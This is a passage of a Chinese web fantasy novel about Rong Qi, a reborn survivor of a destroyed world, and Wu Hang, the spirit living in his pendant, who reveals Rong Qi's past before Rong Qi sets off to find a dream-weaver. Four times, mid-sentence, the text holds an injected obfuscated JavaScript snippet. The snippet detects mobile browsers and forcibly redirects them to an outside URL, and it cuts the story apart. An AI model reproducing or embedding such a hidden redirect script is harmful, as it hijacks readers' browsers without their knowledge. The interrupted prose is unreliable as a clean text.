“我到的时候,一片片残缺的世界碎片里,你是唯一还活着的生命。蓝色的渡火包裹着你,护住了你一丝微弱的生机。” 容栖疑惑:“渡火?” “那是你的能力,只是你现在暂时忘记了。” 总之,多亏了渡火,容栖才能撑到巫杭从天而降来救他。 只是,那地方十分诡异,是一片黑气弥漫的沼泽,进去容易出来却难。 巫杭救下容栖之后一边给他吊命,一边四处找寻出口,但却一无所获。 沼泽中不知岁月,巫杭不知道他们被困了多久。 直到很久很久以后,沼泽中忽然出现一片强烈的金光,纵横的光芒撕裂了弥漫的黑气。 巫杭没有错过这个机会,急忙带着容栖沿着金光传来的方向逃了出去。 只是时间过去太久,即便有巫杭尽力维持,容栖的身体也已经很脆弱了。在成功降临到这个世界的一瞬间容栖的身体就彻底崩溃,湮灭在空气中。 容栖:“哦?那我是怎么又活过来的?” 巫杭:“我带着你逃出沼泽的时候就预料到这种情况了。” 虽说身体崩坏,但巫杭保住了容栖剩余的意识体部分。随后巫杭便带着半死不活的容栖在陌生的新世界流浪了约莫两年。 后来巫杭偶然间撞见外出祈福的容夫人,这才想到了有一个让容栖重获新生的方法。 巫杭解释道:“容夫人第二胎来得艰难,我遇见她的时候,已然是一个死胎了。” 巫杭将容栖的意识放入那死去的婴孩体内,于是便有了如今身负两世记忆的容栖。 “等一下!我有一个问题!” 容栖听到这里,乖巧地举手提问:“非亲非故的,你那时候为什么要费这么大力气救我?” 这一连串听下来,容栖都要怀疑自己是不是巫杭流落在外的亲儿子了!亲爹也不见得有这么尽心尽力呢! 难不成巫杭就是这么一个天生的烂好人?! 不能吧?! “不仅是在救你,”巫杭轻声答道:“也是在救我自己。” “遇见你之前,我犯了一个大错,当时那么努力的救你,只是为了让我自己心里好受些罢了。” 容栖不置可否,只是道:“不管原因是什么,谢谢你为我做的一切。” 容栖感慨:“没想到我这穿越的过程这么曲折。” 他接着道:“你上次有跟我说过这些吗?” 巫杭:“……没有。” “唔嗯,也就是说在我的视角,我就像小说里那样眼一睁一闭就穿成了个才出生的奶娃娃?” 巫杭嗯了一声算是肯定他的说法。 “巫杭,你为什么要隐瞒穿越的过程呢?” 容栖有点不明白,按理说这听起来虽然略显魔幻,但在他已经穿越的事实基础上可信度还是很高的。 巫杭何必多此一举。 “……容栖,你的世界灭亡了。” 容栖一怔,缓缓地吐出一口气,轻声回道:“是啊,像烟花一样炸成了碎片,就像你说的那样。” “唠叨的老妈,总是臭着脸的老爸,吵吵闹闹的狐朋狗友们,还有大学里刚刚认识的新朋友……” “所有我熟悉的人和事都像梦一样,睁开眼就灰飞烟灭了。” 他搓了把脸,闭上眼又睁开,开口又是熟悉的玩笑口吻,“你不会是在顾虑我的心情吧?这么善解人意的吗?吊坠里的巫先生?” 明明自己很难受,何必还要强颜欢笑呢? 巫杭叹道:“……就是你这种态度,让我觉得说出事实或许不是一个正确的选择。” 巫杭在两界相撞时救下容栖,但容栖却是在长到三岁之后才知道自己从小随身携带的吊坠里还住着一位‘巫先生’。 容栖虽然穿越了,但他不像哪些某点孤儿院男主一样对自己的世界毫无牵挂,于是很快能在新世界混得风生水起。 虽然老妈很唠叨、老爸脾气总是很暴躁,两人总是忙于工作很少陪着容栖,但他们很爱自己儿子。 在那个世界,容栖有疼爱他的父母、吵闹但知心的朋友、有一个光辉又灿烂的未来。如果不是世界突然分崩离析,他本该是最意气风发的年纪。 可惜没有如果。 意识已经成熟的容栖被困在小小的孩童身体里,实在是憋得难受,没事就喜欢捧着吊坠碎碎念。 只是大部分时间巫杭都不会搭理他,只留他一个人自言自语。 “巫先生?你还在吗?话说你全名叫啥啊?巫这个姓我还没见过诶!” “已经穿过来三年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195040|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,不知道那边的世界怎么样了?” “我们老容家就我这一根独苗,你说我走了他们可怎么办啊?” “早知道就该劝劝老两口找机会要个二胎才对!” “还有费蒙,好不容易考到一个学校,兄弟我却先走一步,不知道这傻小子会不会又被他父母抓回去?” “ε=(?ο`*)))唉~” 巫杭在吊坠里修养,整个人浑浑噩噩、时醒时睡,有时一睁眼就能听到容栖稚嫩的童声在耳旁唉声叹气。 次数多了,巫杭即使对容栖的世界了解不多,也对他周围的人际来往逐渐清楚。 他能看出来容栖有多想念家乡。 于是那残酷的真相就越来越说不出口了。 巫杭:“这股思念支撑着你,若是打破执念,后果可能会很严重。” 容栖眉毛微微一动,示意巫杭接着说。 考虑再三,巫杭最后决定隐瞒真相,虽然心里难免挂念,至少容栖还有机会在这个世界创造新的羁绊。 容栖嘴角的弧度渐渐拉平,但巫杭的话还在继续。 这是一个存在非凡的世界,玄门、神念,玄术师和神念者,同时还有隐在暗处的地渊伺机而动,平和的表面之下隐藏着非凡界的波澜起伏。 容栖五岁那年,巫杭告诉他非凡的存在,并且再三告诫他远离非凡世界。 容栖不理解,为此追问过巫杭很多次。 巫杭最后只告诉他,这里的非凡力量涉及到世界根基,若是他牵扯的太深,就再也离不开这个世界了。 “哈!” 听到这里,容栖声音扬起打断巫杭,终于忍不住嗤笑道:“这种时候了你也不愿意说真话吗?!离不开?你是想说回不去吧!” 对那时的容栖来说,这样的说法等同于在说他一旦沾染此世的非凡力量就再也没有机会回到自己的世界了。 可问题是,容栖的世界早就没了。 容栖讽刺地笑道:“用回家的希望吊着我,这就是你不打破我思念的方式?!” “明知道我回不去了,却还用这种虚无的念想困住我。” 容栖压抑多时的情绪一下子爆发出来,“你可真会骗人啊,巫先生!” “一个五岁的小孩,你到底在防他什么?!” “你到底在害怕什么?!” 若说前面隐瞒不愿说出真相还算合理,那之后还三申五令地不让容栖接触非凡就十分莫名其妙了。 容栖等着巫杭给他一个解释。 巫杭倒是还算平静,淡淡开口:“你会这样想也不奇怪,但我没有骗你。” “也不是有意要给你一个不存在的希望,我的话只是字面意思。” “若是你深入到这里的非凡世界中去,我就带不走你了。” 巫杭了解过此世的非凡力量体系,不管是讲究修神炼心的玄术师还是意识能力具现化的天赋神念者,都与所谓的灵魂、精神紧密联系。 而世界间的壁垒绝没有那么容易打破,一旦容栖在此深入非凡,便极有可能被其他世界拒之门外,只能流落在界域狭缝之间被空间乱流卷走。 除非他能强到凭一己之力撕裂世界壁。 容栖反问:“带走?去哪?我已经回不去了。” 9. 故人 巫杭的声音还是淡淡的,他接着道:“你原本的世界虽然已经回不去了,但我可以带你去很多其他不同的世界。” “我曾经观测记录过很多世界,你既已是飘零界外的无根之人,我就可以带你一起走。虽然回不了灭亡的故乡,但遨游万界也不失为一种慰藉。” “我来自最高维度的世界,又赖于神器之身,可以不借外物穿梭世界。但你不行,必须得是界外之身才行。” 若是迟早要离开就不要过多停留,这是经验,也是教训。说是给自己一个心理安慰也好,巫杭希望偶然救下的容栖能有一个好结果。 作为整个灭亡世界唯一的幸存者,至少不要因心头执念而陷入疯魔,就像他的挚友那样。 “原来如此,”容栖喃喃自语,“可你为什么不直接告诉我?” 巫杭道:“那时太早了,我力量耗尽,受伤颇重,暂时没有能力再穿梭空间。你重获新生也不过才五年,不论身体还是意识都还很脆弱。” 其实巫杭本以为再过不久他就能将一切与容栖坦白,再次踏上万界游历的旅途。但事实上接二连三的消耗与伤势让他日渐虚弱,甚至无力阻止观世录自发的观测与记录。 观世录具有观测记录之能,同时也能从具有巨大影响力的记录事件里提取能量。这种从世潮运启之中提取出来的能量,巫杭称其为灵枢之力。 而在巫杭这个器灵虚弱之时,无主的观世录就会自发记录周边事件,但这种记录是混乱的、无序的,真正能积累下来的灵枢之力少之又少。长期下来,灵枢之力只出不进,于是器灵更加虚弱,最终陷入了恶循环。 巫杭就这么昏昏沉沉、时睡时醒地陪容栖一起长大。 一直到容栖十岁的时候,巫杭陷入了长久的沉眠。 容栖再也没叫醒过吊坠里的巫先生。 只有观世录还在无声记录。 “所以十七年里,我一直被蒙在鼓里。”容栖用肯定的语气说道。 “……是,”巫杭的声音稍低,语气莫名沉重,“我本来打算尽快离开这个世界的,但伤势比我想的重太多了。” 更何况又拖了这么久。 “……我很担心,容栖。” 容栖意识没反应过来,一脸懵逼:“什么?” “不到十岁的容栖就和你现在一模一样,总是在笑,但那笑容底下的东西我看不懂。” “我看不透你,容栖。” 容栖脸上习惯性的笑容一僵,连忙伸出两根手指按住嘴角,掩耳盗铃地压平笑容。 巫杭的语气越来越沉郁,“你很像我之前遇到的一个人,他也让我看不透。” “我本以为我能理解他的。” 七年时间实在太长,巫杭最终还是决定说出记忆中的旧人故事,只希望与挚友如此相似的容栖这次能有一个好结局。 巫杭告诉容栖,那个人也像他一样,是困于他乡的异世来客。只不过他是自愿离开家乡前往异世界的。 巫杭曽问过他是否有离家的思念。 “想啊,做梦都在想!”那人如此回答道,嘴角开怀的笑意却一直没落下。 巫杭感到奇怪,说可是你在这里停留的越久,融入得越深,你回家的可能就越小。 所以为什么不回去呢? “是吗,还有这个说法啊?”那人第一次听闻这种说法,嘴角终于带上一丝苦涩。 后来巫杭才知道,那人虽然是自愿离乡,却肩负沉重的使命。 “她就要死了,水源在干枯,土地孕育不出生命。”那人如此说道,“世界在死去。” 可人们不愿她死去。 那人说,他的世界里有很多像他一样的人,利用最后的力量,将他们送往其他世界。 他们要去寻找她的一线生机。 巫杭知道有些世界经历世界浩劫后会因为资源逐渐枯竭,最终走向灭亡。 这个过程通常会很长,理论上来讲他们的确还有救世的可能。 但巫杭不看好他们。 那人只是笑笑不说话。 出于想要记录这一场希望渺茫的盛大救世行动的想法,巫杭在那人身边待了很长时间。 那个人很强、很优秀。 他活了很久,走遍了异世界的每一寸土地。他也成了他们那一群人里坚持得最久的一个。 在这段时间里,巫杭和他成了至交好友,无数次一起死里逃生。 在得知他的同伴们都没能成功,甚至只能埋骨异世之后,巫杭劝他放弃,这场救世已经失败了,不如就在异世重新开始。 那人只是摇摇头,说不到最后他不会放弃。 巫杭此前一直游荡在各个世界,从未在一界中停留这么久。 那人是他唯一的朋友,最好的朋友。 他决定奉陪到底。 甚至,让那人成为神器的新一任主人。 巫杭后来想过,他是不是站出来得太迟了? 作壁上观的记录员当久了,他都快忘记了,人类的情感是一种复杂且麻烦的事物。 他们几乎就快要成功了。 恕光之城的圣水、精灵女王的祝福,他们甚至还拿到了创生之主的万物之歌…… 他们几乎就要成功了。 如果不是连接两个世界的传送门被人破坏,如果他们能顺利回到那人濒死的原世界的话。 可惜没有如果。 哪怕身为至高世界的神器器灵,巫杭也做不到跨越时空去到一个已经不复存在的世界。 救世行动,彻底宣告失败。 而那人也成了唯一的幸存者。 巫杭道:“回家的执念始终支撑着他,他在这条路上走了太久了。” 以至于在只差一步就要成功的巨大落差之下,一切完全失控了。 巫杭叹道:“他本就实力高强,手握神器,甚至能与创生之主一战。” 哪怕身为器灵的巫杭不同意,订立契约后他也可以自行调动部分力量。 “他的世界步入死亡,他就想让无关的异世界也成为地狱。” “他彻底疯了。” 容栖:“……那最后的结果是?” 巫杭:“死了很多人,堪称一场灾难。” 而巫杭,是这场灾难的帮凶。 “但……他最后也死了。” 和他的同伴一样,埋骨异乡。 绑定的神器之主死亡,巫杭和观世录也受到重创。 “他死之后,我脱离那个世界,然后在途中救下了你。” 容栖了悟,旧伤未愈又添新伤,怪不得巫杭的伤一直不见好。 他咂咂嘴,一脸蛋疼道:“说来说去,我算是听明白了。” “你不敢告诉我真相、不准我接触非凡的原因在这儿呢!” “觉得我和那位大哥像?你是怕我和他太像吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195041|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!” 容栖:“你是觉得我会和他一样,接受不了父母亲人都和世界一起炸成烟花,然后失控暴走,怒而报社?!” 容栖越说越激动,伸手指着自己,振振有词地强调:“可能吗?!我可是十佳好青年——容、栖!!!” 他一脸不可置信,觉得巫杭的想法简直离大谱。 “您可真看得起我啊!不是,我凭什么啊?!” 容栖气冲冲的把沙发拍得啪啪响。 就因为您这浓重的心理阴影,跟防贼似的防了他十七年。合着他看起来就是个会报社的反社会份子呗! “对不起……因为你的渡火,暴走的话会很麻烦。” 巫杭无奈,“而且我一睡七年,最终也没来得及阻止你接触非凡。” 容栖一脸怀疑,啪地打了个响指。 他面前应声出现一团幽蓝色的火焰,周边一圈无形的空气微微扭曲,却没有丝毫热气。 容栖看着比拳头还小的火团,狠狠翻了个白眼,“渡火?就这?” “……我醒过来时日尚短,但也见过你使渡火,那时候分明已经小有火候了。”巫杭有些无言。 “兴许是你失忆后忘了些技巧吧。” 容栖右手食指引着那团小蓝火左摇右晃,在空中划过一个圆润的八。 “这火很厉害?可是一点都不灼人。” 说着容栖把左手放到渡火上方,“看!一点都不烫,像假的一样。” 不管是温度还是颜色。 巫杭:“你自己感觉不到,但渡火的杀伤力很大的。渡火一出,焚筋煅骨,点魄燃魂,可谓是不死不休。” “就你手上这一团放出去,若是不管的话烧死一城的人不在话下。” 容栖手一抖,惊愕道:“一城?!” 巫杭:“没错,如果你精神力足够的话。” “那也很厉害了,”容栖一挥手散去那团渡火,“也难怪你会担心我暴走失控了。” 如果容栖是心理脆弱的人,又踏入非凡世界锻炼了精神力,那后果的确很可能不堪设想。 还好我积极向上、乐观又开朗! “好了,事情的前因后果就是如此,只希望你恢复记忆后不怨我。”巫杭的话让容栖回神。 毕竟他沉睡七年,完全不知道如今的容栖对非凡了解多少,对渡火了解多少,是不是还对遥远的故乡存在念想。 “这个嘛,”容栖笑笑,“谁知道呢——” 今夜他们聊了许久,最后还是又绕回了容栖的失忆。 巫杭:“你失忆必定和那天你去见的那个女人有关。只是想要找到她还需要费些功夫。” 容栖问道:“我们现在手里没有她的半点消息,你能观测到她吗?” 巫杭让他不必担心,“其实你失忆前就有特意让我记录她的信息,够用了。” 巫杭话音落下,容栖就看见慢慢恢复成正常大小的书型吊坠浮到半空中,银色的锁扣啪地自动弹开,书脊连接的长长的锁链哗啦作响。 蓝色的光芒闪烁,容栖只隐约看见飞速翻动的书页从眼前划过。 “怎么样?找到线索了吗?” 容栖伸手接住从空中缓缓落下的吊坠,看见精致的暗蓝色书面颜色暗淡。 巫杭有点无力的声音传来,“找到了。” “苷荫塘,你去那里找她。” “她叫曲浮玉。” 10. 苷荫塘 第二天一大早,白洛就风风火火地从老宅杀到了容栖的小公寓。 “砰砰砰——” “老容?容栖!还活着吗?!” 白洛在门口扯着嗓子喊,反正这一层就容栖这里住着人,也不怕大清早的扰民。 “还能喘气儿就快来给你爷爷开门!!!” 容栖猛地掀开被子,他其实是没有起床气的,但昨夜接收的信息量太大,连带着他后半夜也睡得不安稳,此时只觉得头脑发晕。 他挂着两个黑眼圈咬牙切齿道:“白洛!你最好是有事!” 有节奏的拍门声一下落空,白洛一抬头就看见面前套着睡衣一脸怨气的容栖。 上下一扫视,嗯,没缺胳膊少腿的,看起来活得好好的。白洛松了口气,爽朗地扬手打了个招呼。 “早上好啊老容——” 容栖一把揪住他领口,把人拖了进来。 “我不好!” 他扯着人一把扔到客厅沙发上,指着窗外朦胧的天色,怨气深重道: “天都还没亮就来扰人清梦,白洛你最好给我个合理的解释!” 白洛小心地拎着手里的袋子,举手投降道:“事出有因,事出有因。” “打你电话一直关机,我这不是担心你噶了着急来给你收尸呢嘛!” 容栖困顿的大脑总算清醒了点,想起昨晚手机关机后好像的确一直没充电。 于是容栖泄气,从沙发缝里扒拉出手机,又找了根充电线给它插上。 看他像个幽灵似得半死不活的走路都发飘,白洛友情提议道:“要不你再去睡个回笼觉?” “不要,”容栖打了个哈欠,“睡不着了。” “算了,我去洗漱。” 说罢又晕晕乎乎地往洗手间飘,白洛看着他的背影好笑道: “行,快去刷牙洗脸吧你!” “我跟你说,我可是从如狼似虎的饿狼高中生嘴里抢下来的早饭!徐阿姨家的饼可是一绝,以前总是踩点上学从来没买到过。” “还有他们家的包子也不错,得亏我今儿来得早……” 顺手把装的满当当的袋子放到茶几上,白洛得意洋洋的声音突然低了下去。 等容栖大脑重启成功,神智清明地回到客厅时,就看到白洛正兴致勃勃地拿着一个大红色方形的物件翻来覆去的看。 容栖才想起来那是昨晚他在茶几上发现的据说是他师父送来的录取通知书。 和巫杭促膝长谈到半夜,倒是把这东西忘得一干二净。 他走过去坐下,从白洛的早餐袋子里扒拉出一个包子。 味道确实不错。 见他过来,白洛举着手里的录取通知书问他:“老容,你猜这录取通知书,真的假的?” 虽然他手里这红色的封皮还未拆开,但白洛很肯定,这和他昨晚在老爷子书房里看到的玄鉴司送来的请君帖一模一样。 玄鉴司给白家送请君帖他不奇怪,没想到容栖居然也收到了。 这说明他和老容不仅能在同一个高中待三年,未来还有可能在同一个‘大学’里做同学。 容栖听他这么问,奇怪地抬头扫了眼那录取通知书。 把嘴里的包子咽下,他说:“很明显是假的,这封面只写了录取通知书,却没写是哪所学校。” 而且直接被他师父送到他家里,想来应该是有其他用处。 容栖从白洛手里抽出录取通知书,沿着边缘拆开封皮,随口问白洛:“怎么,你认识?” 白洛也拿了个包子叼着,含糊不清道:“虽然没有这所大学,但说它是录取通知书其实也没什么问题。” “不瞒你说,老爷子昨天急召我回去,就是因为收到了这个。” 容栖取出黑色信封和精致的黑金纹章。 白洛:“喏,就是这个。” 容栖挑眉,继续拆信封,展开硬质的卡片,入目就是一行行笔力遒劲的瘦金体。 白洛静静地等他看完,期待问道:“怎么样,有什么想法?想不想去?” 容栖好笑,冷淡道:“不怎么样,也没什么想法。” “你忘了,我失忆了,这上面好多东西我都看不懂。” 白洛一噎,有些无语。 “好吧,你表现得太正常了,总让我忘记你是个失忆脑残人士。” 但他很快振作起来,拍着胸脯自信道:“没关系,你看不懂我给你讲啊!” “什么玄门、神念,地渊、玄鉴司,保管给你讲得明明白白!” 然而容栖表示拒绝,把请君帖放到一边,说道:“与其你从头给我介绍,不如让我恢复记忆,到时我自有判断。” 白洛惊讶,问道:“你有办法恢复记忆了?” 容栖:“是啊,昨天去一趟七号书屋,收获不小。” 巫杭的存在不宜让太多人知晓,昨天白洛没跟着去倒是正好。 但白洛觉得不好,“你这意思是,你进去了?!” “不是让你在外面转转,先不要进去吗?你当真是不知者无畏啊!你现在可都退化成小智障了,还不够我一只手打的!” “要真有什么意外,我今儿就是真的来给你收尸了!” 白洛一顿噼里啪啦的输出,容栖却只觉得他吵闹。 他摆摆手,不甚在意道:“你别紧张,你看我这不是活蹦乱跳的。放心,我还是很惜命的。” 他决定暂时还是别告诉白洛云中阁那莫名的视线比较好。 白洛原来还有易燃易爆炸的属性吗,真是让人头大。 白洛多了解自己的好兄弟啊,一见他飘忽的视线就知道这家伙一心敷衍,当下音量就高了八个度。 “你不当回事儿是吧?!” “你可是失忆了大哥!没失忆你都还不见得斗得过路葭易呢,失忆了对上他简直就是去送菜!” “你好歹跟我说一声吧,就这么自己一个人莽进去,这次是你运气好balabalabala……” 容栖第一次体会到齐天大圣被念紧箍咒的感觉,发自内心的觉得白洛有当唐僧的潜质。 脑壳痛且理亏无力反驳,容栖只能装乖卖笑。 “对对对,我不自量力。” “是是是,太莽撞了!” “就是就是,我一定深刻反省,绝不再犯!” 白洛:“……” 突然就没有那个骂人的欲望了。 容栖见缝插针,趁机转移话题。 “咳、快吃早饭,吃完我们出发!” 白洛勉强配合他,问道:“去哪?” 喝一口豆浆,容栖笑着说:“苷荫塘!” 宁川的苷荫塘是个乡下小地方,光从城区开车过去都要花上半天时间。曲浮玉一开始没想在这里停留,只是事情完全不如她想象中那么顺利。 曲浮玉躲在远离村民的一间闲置的茅草屋里,手里拿着一颗发着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195042|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白光的玉珠。 “啧,什么人啊,还给自己的记忆下封禁阵。” 曲浮玉想起两天前的那个晚上,那个看起来还是个学生的少年胸有成竹地说这世上只有他能帮到她,希望能和她做一个双赢的交易。 时隔五年,曲浮玉冒着被北邙十字会的人发现,再次被抓的风险回到宁川,可不是来和这种大言不惭的门外汉玩过家家的。 她毫不犹豫地拒绝了。 那个叫容栖的少年好像并不意外,他只是说:“我能帮你找到路葭易。” “你来宁川就是来找他的吧,毕竟你需要找回弄丢的玄机镜。” 曲浮玉这才警惕起来,她此行一路都十分隐蔽,就算行踪泄露,也不应该有人猜到她的目的是玄机宝镜。 容栖告诉她,他需要曲浮玉帮他一个忙,而他可以帮曲浮玉联系上路葭易,问到玄机宝镜的下落,这是一个双赢的交易。 但曲浮玉不信他,比起别人说的,她更相信自己看到的。 所以她悄悄发动了梦引术,窃取了容栖的记忆,而后带着他的记忆珠连夜赶到苷荫塘。 不管容栖的话是真是假,他的记忆都会如实告诉曲浮玉。 若是真有路葭易的线索,她再行动也不迟。 只是没想到这个狗比竟然给自己的记忆下了封禁阵! 于是曲浮玉现在走也不是,留也不是。 谁都知道路葭易比泥鳅还滑溜,如果错过了这次机会,不知道下次又要到什么时候才能有他的消息了。 “啊啊啊烦死了——” 曲浮玉抓着自己的鸡窝头,有些崩溃。 “要不然我还是回去找他吧?!” 她也是服气了,交易就交易吧,大不了她这次小心点。 距离苷荫塘百米外的一个小山坡上,头上扎着两个粉嫩丸子的矮个子萝莉放下手里的望远镜,侧头望向身边的人,软声问道: “非欢姐姐,我们要找的那个造梦师就在这个村子里吗?” 旁边站着的女人一身惹眼的红裙,长相美艳,身段窈窕。闻言笑道:“是啊,姐姐有点事要问她,需要悄悄和她见一面,小宜苏帮我保守秘密,不要告诉别人好不好?” 季非欢蹲下来,双手扶着宜苏的手臂,笑意温软地和她对视。 那双漂亮的眼睛里泛起一层浅浅的薄红。 “好,我听姐姐的~”宜苏脆声应道。 于是红裙女人脸上笑意更深,称赞道:“小宜苏真乖。” 苷荫塘实在偏僻,容栖说出这个地名的时候白洛甚至一脸迷茫的反问他这是个什么地方。 容栖当然也不知道,巫杭也只告诉他一个地名而已。 两人对视一眼,当即掏出手机百度一下。 好消息是,苷荫塘就在宁川境内。 他俩还不能自己开车,好在二位少爷有钞能力。 不过他们现在遇到了钞能力也无法解决的问题。 “刚才司机大哥不是说、再往前走一段就可以看见苷荫塘的村牌石了吗?!” 容栖一边费劲地爬坡,一边大喘气地问白洛。 这边路太窄,车子进不来,但照司机的说法,最多再走半小时就到了才对。 他俩少说也走了两个小时了吧?! 白洛抖抖空掉的矿泉水瓶子,也很迷惑。 “不应该啊,这山路也就一条,连个分叉口也没有,我们也不可能迷路吧?!” 11. 红绡 正午的太阳晒得人脸疼,容栖口干舌燥地擦掉满脸的汗,觉得自己像一条脱水的鱼。 他扭头看看周围这长得都差不不多的树木,欲哭无泪道:“我们怕不是撞见什么不干净的东西了吧?!” 他当然是说笑的,这世界虽然有非凡的存在,但并没有鬼神之力的痕迹。 但白洛倒是被他提醒了,“撞鬼是不可能了,但是说不定我们的确撞上了其它什么东西。” 比如什么地渊的魇兽蜃妖啦、邪教的秘法什么的。 但是,白洛摊手:“若是地渊跑出来的怪物倒还好说,打打杀杀的我最在行,可据我所知没有哪种魇兽有像鬼打墙一样的手段。” 他转头无奈地看着容栖,“而如果是有什么人在这里布下什么阵法秘术,那我就无能为力啦。” 容栖瞪他,被头顶的太阳晒得心情有些烦躁。 “你看我也没用,不管之前的我会不会,反正现在的我是忘干净了!” 亏他还指望着能多个好帮手,在出发前跟白洛好一番推心置腹,把自己知道的为数不多的技能跟白洛坦白,也算是承认他的确如白洛所想是玄门中人。 其中也包括他在七号书屋和自己家里找到的铜钱摸样的缩小阵盘。 用红绳卡扣分装起来的铜钱串拿取方便,一看就知道是特意设计过的。 铜钱上的成语五花八门,有些甚至根本猜不到效果。 白洛倒是一看就明白了,显然,失忆前的容栖是会用阵法的。 只是现在的容栖拿着铜钱毫无用处,更别提破解眼前这个不知什么人下的什么阵了。 “唉,”白洛叹气,“那没办法了,现在这样进也进不去,估计走也是走不掉的,想搬救兵都没法。” 可尽管眼前的道路虚虚实实,头顶的太阳却是真实存在的。容栖想着,太阳是真实的,这说明他们其实是可以走出这个迷阵的。 但那样必然偏离他们原本的方向。 而且很费时间! 于是容栖沉默了一会儿,想到了一个快速通关的办法。 他抬起手,嘴角带着一丝狰狞,笑着道:“你说,我一把火下去,背后的人会不会跳出来和我正面刚?” 容栖手上噗地出现一团渡火。 白洛眼角一抽,觉得失忆的容栖不太靠谱的样子。 “我没听说过放火能烧掉阵法的。” 容栖还是笑,反问道:“谁说我烧阵法了?” “但是这个迷阵范围这么大,你说它是依仗什么来布置的?” 山林里的树木和山路都长得差不多,但在迷阵里肯定不是真的有那么多相似的路。 就像复制粘贴一样,如果容栖破坏了他们所在的这一角,谁也不知道这阵法的其他地方会出现什么毛病。 “反正试试呗,”容栖跃跃欲试,“只要阵法原本不是用来对付我们的,说不定就会有人蹦出来阻止我。” 白洛听明白了,稍稍犹豫道:“呃,放火烧山,牢底坐穿的哦?” 他一点也不想去局子里捞自家兄弟。 容栖自信道:“放心,我的火,收放自如!” “姐姐,你跟我来好不好?” 曲浮玉警惕地看着不远处的小萝莉,荒郊野岭的小山村突然冒出来这么一个打扮漂漂亮亮的小姑娘,傻子都知道不对劲。 “你是谁?” 曲浮玉嘴上问着,悄悄背过手准备展开梦引。 这里离村子还是太近了,万一来者不善,也决计不能在这里打起来。必须把人引走才行。 “我叫宜苏,姐姐你跟我走一趟好不好?” 宜苏又问了一遍,伸手指着来时的小山坡。 “那里人比较少,我还布了阵,不会有人来打扰的。” 曲浮玉眉心微微一动,看了一眼那边,不动声色道:“不好,谁知道你给我准备了什么陷阱?!” 她是准备换个地方再打,但也没打算跟着敌人的脚步走。 宜苏见她一口回绝,小脸绷起来,很不高兴的样子。 “不、不可以”宜苏不知道想到了什么,表情十分委屈的样子,“非欢姐姐说要见你的!” 非欢?!难道说?! 曲浮玉忽然想起自己的确认识一个叫非欢的女人,正打算向面前的小萝莉问清楚。 “叮铃铃——” “呃啊、什么东西?!” 曲浮玉还没来得及问出口就被脑袋的一阵剧痛打断,她眯着眼向宜苏看去。 那小萝莉此时双手平举,手腕上挂着的两圈铃铛叮铃铃的震响。 果不其然,这姑娘是非凡者! 曲浮玉疼得直抽气,现在当务之急是让这疯丫头赶紧停下来。 那铃声不知能传多远,曲浮玉能受得住,苷荫塘的普通村民可受不住! “咳、别摇了,我跟你走就是了!” 管不了那么多了,曲浮玉连忙朝瘪着嘴摇铃铛的宜苏摆手。 “哎呀,可真狼狈~” 曲浮玉一来就看见倚在树干上的季非欢悠悠闲闲地说风凉话。 她扶正乱糟糟的鸡窝头,破口大骂道:“你发什么神经啊季非欢!见面就见面,你从哪儿找来这么个不守规矩的疯丫头?伤到村民怎么办?!” 就算她知道季非欢也不是什么好人,但动静闹大了对她们也是毫无好处的事。 季非欢一愣,似乎没想到她是这样的反应。 “唔,看来你还不知道啊,”她纤细的手指在红艳的唇上抚过,突然笑道:“宜苏,过来。” 宜苏听话地小跑到季非欢身边。 “我也没想到这孩子这么疯。”季非欢手落在宜苏的丸子头上,顺手捏了捏。 她赔笑道:“是我考虑不周全,我给你赔罪了。” “……浮玉。” 曲浮玉有些奇怪,她总觉得季非欢有哪里不对。 但一时没有头绪,她只好道:“算了,总之你自己看好她就是。” “所以,你找我什么事?有话直说吧,今天没时间跟你叙旧。” 她还要去宁川找一趟容栖呢。 季非欢调笑道:“急什么,咱们可是有五年没见了。” 曲浮玉很不给面子地翻个白眼:“少来,五年前咱俩也没多熟!” “而且,”她声音一下子低下去,“无源被迫分裂后,剩下的人群龙无首,这五年大家都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195043|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好过,没什么好说的。” 